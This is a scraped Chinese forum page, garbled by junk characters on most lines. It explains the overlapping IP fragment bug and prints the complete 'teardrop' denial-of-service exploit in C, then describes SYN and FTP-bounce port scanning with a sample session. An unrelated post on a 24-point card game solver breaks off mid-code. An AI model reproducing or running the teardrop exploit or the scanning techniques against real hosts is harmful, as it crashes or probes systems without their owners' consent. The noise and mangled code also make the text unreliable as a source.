fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
: [. D0 i! x) Y. g第一个碎片:mf=1 offset=0 payload=20
9 [- }" D( U6 e6 V; M敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 $ Q( ]4 J6 ~- h: x$ r- c8 H
offset=0
+ A4 [. ~) z" S3 j3 R这样第二个碎片的 end=9+10=19
; N5 e2 k- V; }4 Qoffset=offset+(20-offset)=20
/ T( u- k' [% v' {) a) g4 \$ ufp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>2 d# z" K. v7 j3 A
/*9 f  K) `& n5 g
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97! p/ m* z5 {, ]2 w( f
*
2 m) K2 h- M6 Z& g5 `' \6 ~+ g* Linux/NT/95 Overlap frag bug exploit" o- P' w$ Q% B9 U, f
*
* c( v% g5 U& z$ E# E* Exploits the overlapping IP fragment bug present in all Linux kernels and* A7 u! Y- E& ?% X
* NT 4.0 / Windows 95 (others?)
( {  g4 x$ x" w  m& n' d*6 R+ K5 c3 d9 s  H7 c( e, y
* Based off of: flip.c by klepto
' \8 }( s7 q: d( e1 n* Compiles on: Linux, *BSD*6 ^6 m, C6 w- R$ o5 I
*" d+ \# c/ P* X- T, S
* gcc -O2 teardrop.c -o teardrop6 R# Q5 s2 V0 J  G
* OR; g  K4 c3 \( N) x# T% @, T
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING0 |* Q+ ?; a! l0 Y  ~( n9 o$ h
*/</P><P>#include <STDIO.H>
' |# g9 A# B: ]$ E) V& W#include <STDLIB.H>8 ^6 ?& U# x1 @$ V9 a
#include <UNISTD.H>' \' |: i" O7 n2 ?* o* h. r! P9 g
#include <STRING.H>7 s6 P0 ~4 a- {0 B
#include <NETDB.H>
- ?7 P$ I: {& n9 B#include <NETINET in.h>
, A" N* P( {. J! Q#include <NETINET udp.h>8 [* @  F7 R" Y$ _1 b' k
#include <ARPA inet.h>
* J) z) U% j( `6 @& @#include <SYS types.h>
) F0 f7 f! o/ z: B- A1 _& B! r8 @( ]#include <SYS time.h>
0 U7 h( S3 }7 r) d' k; _/ M#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
" _/ b+ g0 C3 f  i/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */( {9 e+ J; S0 a% R4 i4 _
#define FIX(n) (n)
0 U5 t( e3 M5 z+ D' R#else /* OpenBSD 2.1, all Linux */( o; Z- I) I" w* `. z) t
#define FIX(n) htons(n)
% P8 C7 f2 W* U" L; _' L#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */  ~& t# z! Q* D
#define IPH 0x14 /* IP header size */
. ~% {. V( c9 ]5 Y& }  d" T: ~#define UDPH 0x8 /* UDP header size */
4 K/ M6 c0 v( G6 \% I5 O0 i$ R6 b  s# S#define PADDING 0x1c /* datagram frame padding for first packet */
/ n- M* {' p' P( _#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
+ |+ Z" O/ V) q4 t$ i2 w#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
0 N( i: Z9 Y0 v( E7 i+ E# V* withstand maybe 5 or 10 sometimes... Experiment.: ~& C  F, v) J. t/ s" S0 a( E9 I
*/</P><P>void usage(u_char *);- g2 D: b  k2 G6 Y
u_long name_resolve(u_char *);! O" j9 |! o  Q/ B( ]0 D
u_short in_cksum(u_short *, int);
8 [) H3 @: x0 c2 J0 kvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv). R* Y$ X& N; Q  R
{4 q4 b" c6 [. k! z
int one = 1,
9 Q# U, m. N* Vcount = 0, % ]5 }% s/ |* z' _: V6 g
i, # s( _0 i& \) B' Y- |/ g1 m+ l
rip_sock;; o1 V, o  B; ~
u_long src_ip = 0, dst_ip = 0;4 o  Q; n& S0 r. J
u_short src_prt = 0, dst_prt = 0;6 }/ y, T6 w9 O8 x
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW- R; y+ G) e7 Z# J, X
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)* X; H# v' k: K  {; }& Z0 \2 W8 P$ p
{
2 ^. C2 z# _. T6 U+ @7 }perror("raw socket");. Y$ T. C! d% E* S& a
exit(1);6 N; Z+ i3 [1 K/ M/ ^( ^" O
}
8 J5 t# }4 z* P: m//由系统处理IP校验和。
% l/ z' @4 N0 Y2 kif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
4 x* y* O  q! N& }' s0 {9 y&lt; 0)
- p/ O& B  }* i: e! K{
8 D- n/ {/ ?% v* P8 H6 eperror("IP_HDRINCL");
9 x! n% G* v3 Pexit(1);+ f$ ]/ _7 J- u; f
}</P><P>if (argc &lt; 3) usage(argv[0]);$ N5 x# I+ {; p
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
8 O8 o$ r  p) H4 M  U& S& z: s{! a8 W& p0 p; |9 `  r& M1 f" i
fprintf(stderr, "What the hell kind of IP address is that?\n");. p& \! P8 \1 d4 w' B5 t6 e2 X2 B" d
exit(1);
: j$ a, ^& k/ |: B; y) e  b}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)' \& B! |5 q6 ?8 H8 o" g
{
# U; [4 t3 A# m! L: @switch (i)% R$ @% p* {" Y! g) D0 d
{+ ]; O# l2 u  _8 m* I+ T
case 's': /* source port (should be emphemeral) */% k: h3 ?2 m$ D
src_prt = (u_short)atoi(optarg);' x% R& Y1 h% M/ T8 r
break;
3 v1 W* S& P: k4 Lcase 't': /* dest port (DNS, anyone?) */
- ^% J/ t/ F/ h  N/ a2 M3 O# z5 Pdst_prt = (u_short)atoi(optarg);3 }$ f$ c  x7 `* [4 P- S$ M; o
break;+ g: {2 P/ K) Z1 k
case 'n': /* number to send */" ^0 |4 \# h( F: H+ ?
count = atoi(optarg);
2 J/ E; q% c9 W7 wbreak;( m6 p, l8 Z& R7 f1 f. J+ _% S! A
default :( O/ o8 b9 K4 r
usage(argv[0]);) V5 }& {  P) O: S! `" T& t
break; /* NOTREACHED */7 |* u( B/ J( ^  N. I( G  \
}2 M, O8 Y1 X3 J! \. t
}</P><P>srandom((unsigned)(time((time_t)0)));
8 p- b" D6 y! y" j3 G$ ]* D9 @$ nif (!src_prt) src_prt = (random() % 0xffff);: M+ T! \# \. J, Y4 j9 `
if (!dst_prt) dst_prt = (random() % 0xffff);
8 a. @* i4 w( }9 K, J: l6 H! Zif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
7 ^/ e% O" w( `) V% jaddr.s_addr = src_ip;& B; b5 ^3 ^$ l- o8 k
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);( ?- k" H( P* h& f8 w7 G
addr.s_addr = dst_ip;
% N5 E* {1 X: H/ A9 |* nfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);6 C% K% R! U7 F& U4 ~+ v7 V' I
fprintf(stderr, " Amt: %5d\n", count);5 f/ X; X; `& \# O$ [0 Z  g2 Q
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
% T5 [, p0 T) A, r! {% t. S2 P{
1 o/ ~. w* ^* T. Y3 z& K; Y) H# tsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
# M3 i, l2 j$ z. i& yfprintf(stderr, "b00m ");, o9 p/ w9 e- p1 c" G
usleep(500);
: P* ^/ Q7 g% ^}
9 N6 Y9 m3 D2 Cfprintf(stderr, "]\n");) l9 x; e' @5 w- j" N
return (0);* K) }  x3 Q& v
}</P><P>/*' P3 ?# L* D+ y2 F( h
* Send two IP fragments with pathological offsets. We use an implementation7 h$ a) `# W7 a& s
* independent way of assembling network packets that does not rely on any of
3 ?( u1 n) |) U4 g1 z: C8 V; ~* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).* Q& x# s- r6 ]* u
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,9 i( i, b  ~0 T) u
u_short dst_prt). R% R9 K/ H# ?1 O
{/ ~0 Z' p( j  g2 h5 G3 h
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */4 G, n1 O8 b7 J) F9 Y0 B# P' ?+ @9 z! Z
u_char byte; /* a byte */! G1 |, h6 G8 Y, H' g9 O( ^( U: {
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
; M% W. Y3 s* d, P0 p: [- Fsin.sin_port = src_prt;
$ M# y( a# ?+ Z. jsin.sin_addr.s_addr = dst_ip;</P><P>/*
" A% V8 X+ d6 u" m" V7 m* Grab some memory for our packet, align p_ptr to point at the beginning
- T( Y3 E9 P8 K9 j5 T- c* of our packet, and then fill it with zeros.  e* x9 ^2 ?# U# [  y1 [* c9 |1 H1 I7 ?
*/- g4 }0 X/ T' E8 h
packet = (u_char *)malloc(IPH + UDPH + PADDING);
9 Z( |7 h+ Y* Op_ptr = packet;( G& Q3 ^# E( a/ n% ]: Y
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */: S. h# V4 q- q4 h+ h
memcpy(p_ptr, &amp;byte, sizeof(u_char));
) u) S5 U/ Z. g! T. Hp_ptr += 2; /* IP TOS (skipped) */
7 Y+ a. Q* ~5 h" y9 d4 W" ?*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
9 W8 m$ U* r, H8 ?/ E. R2 Hp_ptr += 2;6 Z! Z) a' T4 W1 |+ ~
*((u_short *)p_ptr) = htons(242); /* IP id */
' V& {! r, |: p, Q! c+ np_ptr += 2;  x" @- V1 u! d2 ?6 Q5 d& {
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
2 i: h/ ?0 C; t& z6 pp_ptr += 2;; @$ C8 c% \1 M" J  q
*((u_short *)p_ptr) = 0x40; /* IP TTL */
; x! ?/ k" |1 z$ zbyte = IPPROTO_UDP;
% s" ?% h) H8 O* U5 I) V: m% Qmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));4 p. ?. I3 z) j7 t
p_ptr += 4; /* IP checksum filled in by kernel */2 H& I. W: ^1 m- E
*((u_long *)p_ptr) = src_ip; /* IP source address */
7 y3 d1 s) Q* I* V/ O) Ap_ptr += 4;* C6 e; Z* w2 {  j9 W
*((u_long *)p_ptr) = dst_ip; /* IP destination address */5 J# F- z  W0 b" }  R/ W
p_ptr += 4;
( M- t' l( f- V  H*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */, P0 q+ `: c* b1 w+ R
p_ptr += 2;8 H. J. [( S* ~2 j& s9 L
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
/ z2 _8 ]1 w3 H- Ep_ptr += 2;: P; Y, T1 D5 L' }1 q$ h
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
# p3 @! p! R4 j+ vsizeof(struct sockaddr)) == -1)0 b% X) |1 J& K( K2 C$ b9 ~; e1 C' O
{
  B, X6 \' X3 y, l; \( Iperror("\nsendto");- ^- Y- v: R7 g( T: }" g
free(packet);) q" r( s9 N7 Z# Y9 ~7 ]
exit(1);9 H( E$ {7 g* h! a/ o* f0 ~
}</P><P>/* We set the fragment offset to be inside of the previous packet's. t0 r$ R2 E( d. L1 p5 [
* payload (it overlaps inside the previous packet) but do not include! [% }; f& Z3 {) F2 u7 ?
* enough payload to cover complete the datagram. Just the header will
6 ~+ A/ y' X% T( ?# L* do, but to crash NT/95 machines, a bit larger of packet seems to work
8 r6 M$ J) S  Q" W& c. b) w1 B  E* better.+ F, N- B- D' Q. U6 L% I8 |
*/; |  k. o$ q- W' U
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
. s: ^2 f3 v1 ]3 f$ [*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);% x' @' f1 Y/ z
p_ptr += 4; /* IP offset is 6 bytes into the header */  S' N# s+ k- t' {
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,6 Y( K+ s3 u2 f5 v! s/ O8 J! y
sizeof(struct sockaddr)) == -1)5 f3 p) r. h# v! J* D+ U1 g0 J* j+ b1 o
{
5 G& |! }5 }0 L0 Yperror("\nsendto");
5 c/ ~9 |1 K0 M8 B( T% q" \; K0 mfree(packet);" D8 N) h* j  P- N# P1 |# z
exit(1);; L; q5 j0 f( L4 C9 k5 x6 T/ `
}
  L6 W# y7 Y* Z/ hfree(packet);
+ @2 [- F; W; X, |}</P><P>u_long name_resolve(u_char *host_name)% g7 T$ N% I+ |8 ]+ l
{
0 ]- w. B) c4 i6 Jstruct in_addr addr;7 T1 c; G" ^: r- q9 X0 P: y* r5 \
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1). P( U0 J" f. a* X
{" R! ]" c' {2 a
if (!(host_ent = gethostbyname(host_name))) return (0);
+ m( r! l7 ?- T1 H# [/ V$ sbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);; T6 ~( g9 r9 K2 p- V3 @
}
7 P* e; v- k2 _- n  x/ R7 creturn (addr.s_addr);( w: x$ }2 P8 U. U( U; J
}</P><P>void usage(u_char *name)
* P+ O5 R  h7 z4 M{- |! f1 Y7 z9 P% m2 W5 w
fprintf(stderr,
' }' w% h$ @4 e2 C- J5 X( f4 P"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",( w) F; Q* H% h4 r7 K
name);8 K' s) M$ B& U8 ]
exit(0);
9 [$ T+ y$ t3 X( R& W; Q}</P><P>8 H$ I, M/ |9 G$ B
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
5 `$ E3 I% }0 s(1) Half-open(半打开)7 D* r; H# ^( _" q2 n% u
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
) _7 f9 X( r  f& X如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
+ z6 R+ Y) ]1 N' z* w3 P7 I利用了FTP的port命令,例如可以这样作:
! X& w( f8 E2 c7 ]! E5 L选择一个FTP服务器,连上后令port命令指向目标机,如果返回2 i4 p  }; b4 q; |8 C
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
4 d  q6 p9 W1 R  b; u1 N该端口无服务。6 }) t) s0 a8 G3 \9 u
telnet 192.168.1.13 21
% l" h! K$ N. v, L/ C: ?Trying 192.168.1.13...
" B5 k4 C6 y& v9 e8 mConnected to pp.bricks.org.' k7 ~* M) `0 n' K# a4 y* n
Escape character is '^]'.5 D( {) J  {* C' q% V4 }
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 2 ?& n/ ?9 I# B+ c3 x6 p" l
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous4 M6 }  Z- c( j* q
331 Guest login ok, send your complete e-mail address as password.
/ u& l4 C# L8 ~3 ?0 opass aa@aa.aa
1 R8 ]5 C# F8 q/ N- T$ \6 H+ }- G( u5 [230 Guest login ok, access restrictions apply./ E% Q# }$ W9 r& T% J' Z% X5 {
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
& L+ G& l) O9 G; ?9 F# j425 Can't build data connection: Connection refused.
/ K, N* f; v, I- Q//该端口未活动
6 ^( x  b( X# _150 Opening ASCII mode data connection for file list." H! ]2 b+ E4 C( h: @" d: v9 |
226 Transfer complete.1 T9 b% ~8 o4 t+ J% e( k
//该端口活动中
! O- u3 T' p( V" a5 N' |但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
$ Y4 ?' w8 ~1 T) hSYN|FIN ACK or SYN|ACK* RST
, u% ^- @; o7 T2 s& f6 g% i( lACK Nothing RST
0 T: B/ N) B& ^* o0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
& g6 h! ^; t: ]  m! U一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
- @/ D3 L9 }4 k" W% Z2 m% o9 x若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认5 J* t( B2 ]; d9 O" M1 R
定它在向你做portscan。</P><P>notes:
' |2 d1 B9 k* z, E早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),9 m  Z4 C6 R4 ?3 {
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的6 R3 x( n" c- T1 _) O
都是向它scan。</P>
作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>9 X$ G$ R" }! [! [3 O/ L/ m& ?
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。) D% J- l9 G. B2 U

. c: `  z  `/ c+ }& x  t& K  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。   p- b+ o8 a+ b  Z: z# i
首先穷举的可行性问题。我把表达式如下分成三类——2 h- t* j: r& v' n' V, a( C/ R
<FONT color=#ff0000>1、 无括号的简单表达式。% K+ e. X- a" F9 v) G
2、 有一个括号的简单表达式。
( ]/ {( }4 l. R3 G4 P% B3、 有两个括号的较复4、 杂表达式。: }& b1 R8 Q) J. t8 l3 c8 O
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
. C/ y6 {9 Y2 ]$ B0 n/ K<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
, k  T1 ?" n  u' Q4 }# v8 W/* c[] 存放四张牌的数组 */
) P( f% \" D5 e+ T' Y$ [/* k[] c[]种四张牌的代号,其中k[I]=I+1。1 C1 `$ ~/ ?! O& Z& a
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
9 B% W# e$ x+ F' ~. S% p" H3 l9 |/* kans[] 暂存生成的排列组合 */9 G: Z* q5 `. z) U
/* j 嵌套循环的次数 */
9 S7 `7 `5 Z/ H* d3 Lint fans(c,k,ans,kans,j)' P& H! D- Z$ H0 e
int j,k[],c[];char ans[],kans[];
  S) X, M" h5 k' M; w- ^* e$ B{ int i,p,q,r,h,flag,s[4],t[4][4];
4 b- W# D2 X! T+ E$ u- M. k* mfor(p=0,q=0;p&lt;4;p++)5 z" t& k8 l5 J' Q  `
{ for(r=0,flag=0;r<J;R++)
+ n3 T9 \+ k4 D5 y( g if(k[p]!=kans[r]) flag++;
; r* S, k  B1 t$ z! o6 P! C1 @. gif(flag==j) t[j][q++]=k[p];
9 R* y# h! s# G, g3 H/ M8 y) x}
. [; [; Y6 G1 C- X: I. ]' `for(s[j]=0;s[j]&lt;4-j;s[j]++); z, ^: y. U3 Y/ h( G6 {
{ kans[j]=t[j][s[j]];5 X) L5 m& {# K8 z; U3 V! K
if(j==3) { for(h=0;h&lt;4;h++). d& j9 v# I2 t' |
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
, q+ P2 O! |- F5 ^0 G5 U/ N1 w达式中的位置 */# I( g; o8 N. j* `; b& ?7 j5 B
for(h=0;h&lt;3;h++)" P3 t$ Q/ K  O) f
symbol(ans,h); /* 在表达式中添加运算符号 */
" k& s2 t3 b/ U6 [1 r}) q. ^0 O7 F) ]9 E. A0 f5 e8 Y+ G( X* p
else { j++;
+ N% ]1 i3 |4 [# g. D0 r' Gfans(c,k,ans,kans,j);) i. |6 S, j* S* M
j--;
( e* \( ]0 ?( O0 y# ?( n}: {5 ?: }* R% d, R0 P" a
}% U, [0 a0 n; N) W2 F7 F( T+ Y3 U) L' v
}</FONT>5 k3 ~& U7 P. D& o6 I

- |  d) J: S: s, g0 i2 y  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:' K4 Z' u: B4 D- O# E0 e8 J4 L

$ K* R7 y& }: R+ h- U' ], s7 u2 Y' h<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
+ F) L; c3 y. U: M; eint sans(ans,sy,j,h)
3 b9 O! s3 L3 Z! \. l5 d6 ~5 fchar ans[],sy[];int j,h;* f5 e- x9 p9 O" K
{ int i,p,k[3],m,n; char ktans[20];0 K* u, |$ l( P/ K( n
for(k[j]=0;k[j]&lt;4;k[j]++)
5 d3 X: W" T! D) N  H$ s% Z{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位7 M7 }' Q) V6 Y- S" E% i0 Q
这里的三个运算符号分别存放在1、3、5位*/ , {" @4 f* i2 N$ B) X8 h& J
if(j==2)
0 h8 M: P$ U5 A) P; O/ ^{ ans[5]=sy[k[j]];/ |6 B# f: |" v, `
/* 此处根据不同的表达式形式再进行相应的处理 */6 F9 m! O  Y  e& U) m- N; B5 ^0 [5 w
}
+ K" w# w/ P; w- n7 f8 }" kelse { j++; sans(ans,sy,j--,h); }
' c: Z7 ~# @9 {9 L  m+ B3 H}  W  X4 ^$ ^( e2 M5 B& Q: Q6 E: ~. A
}0 K' H' M: F* H$ D+ r1 F9 I

1 z9 T' N. c) J$ c9 a+ M$ k</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
" U% w7 ]6 R5 S7 x$ C; k" _for(m=0;m&lt;=4;m+=2)
( y! {; x  F" Tfor(n=m+4;n&lt;=8;n+=2). T2 m8 A8 r/ N# I3 e) s% N
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。4 z+ _1 B& M5 O$ E" i3 ~6 {
3 \8 {8 x* r. O  P1 d- B& E* B
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。4 b5 a. Y# {4 N8 `1 n  M. _4 B
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
# R* w7 `! k/ E3 P在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。! N" l8 h' P! J) T4 d; P
5 J( I8 j+ r, r; _, s! G
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
0 z% m" G6 {% @! S
0 L4 d/ X" ~: ], K1 V4 f# J  那么作为栈的著名应用,表达式的计算可以有两种方法。
# y; W0 L, A/ L3 Y) k; \1 w8 T0 [" s. c3 X( {; N4 \
  <FONT color=#ff0000>第一种方法——</FONT># ]7 V$ e5 F0 T3 l/ z* k  k
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。- o% \) X* @1 l, c& V$ {5 s
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
6 ^. K, c  ?: _$ r8 u( y1、 若W为操作数
, Q- [0 f2 k  s+ T& ]9 M& f2、 则将W压入操作数栈OVS
% {" v! |+ x' k# o2 M3、 且继续扫描下一个字符
( h' O0 A8 d2 c! {4、 若W为运算符
3 I* u% I  u5 V5、 则根据运算符的性质做相应的处理:
# I3 y( K, K6 W4 l( t(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
" [% J  W3 s; Q& I(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。$ Q- M' Z4 i- w8 r; y
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
0 N4 [8 |( k! l(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
+ k% q/ J5 p  E3 p8 |8 a7 k1 F- j
) h; C6 U% W- u+ h) s" ]<FONT color=#ff0000>  第二种方法——</FONT>5 F5 G: Q3 Y- O! W3 p- Y3 Q  B; M  {
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
5 s  t. w3 `. P' ^* `
2 `% C% {3 o8 b1 \* t  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。, @! X7 v; f. {0 `6 B& @7 Q6 L( ]% j
  x$ v  U. m6 C9 O+ r7 P# m. g
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
1 ?5 A$ [! `$ b4 \. i" J( T表达式 波兰表达式1 X5 b! ^% w/ D! x2 h+ B  ]* N
A-B AB-: G9 S4 j% N+ z6 q8 W7 w
(A-B)*C+D AB-C*D+
7 ]+ X% x' z0 d( a! m# E6 f" aA*(B+C/D)-E*F ABCD/+*EF*-
* n9 Q1 B' A0 u! b% E/ l) h(B+C)/(A-D) BC+AD-/9 m6 i% @+ \% T" q
% }+ y( @& f  g* `) f; X
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
# b- F3 s; U, c5 Q' S/ P9 s# s6 E/ f1 Q
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。: j9 I5 g/ t6 e, _- V* H

- K% K! i+ _- V  e+ w0 u( L  下面给出转换和计算的具体实现程序——, ^# j& k# }& M5 N  ^5 k- u
7 v$ w- E) q( P0 A) z& _7 r' r
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */% M% U9 X, _' H! Q7 E
int first(char c)
, u% }; x& R2 }- f, t{ int p;
% }* H' y9 n! ]6 Gswitch(c)* X# v, T! i" D. q& c7 f
{ case '*': p=2; break;
: k2 `: k8 p- j# F7 Mcase '/': p=2; break;
6 \9 l6 T5 j& W8 Ecase '+': p=1; break;* }* _. T' J, F+ o  k0 T) k4 V
case '-': p=1; break;
' ]) B5 R4 S; Z2 C. J5 scase '(': p=0; break;
2 A; {: I) `8 g# ~2 u7 Mcase '=': p=-1; break;
( W9 b, W; h2 b! I! b  H}
, Q6 a8 v, }$ Greturn(p);2 ~# P# Z$ {  y4 k
}' P7 Q( j8 P2 `$ }, O7 j
/* 此函数实现中缀到后缀的转换 */
- \+ A: C/ }4 q5 A" T4 j' E/* M的值宏定义为20 */
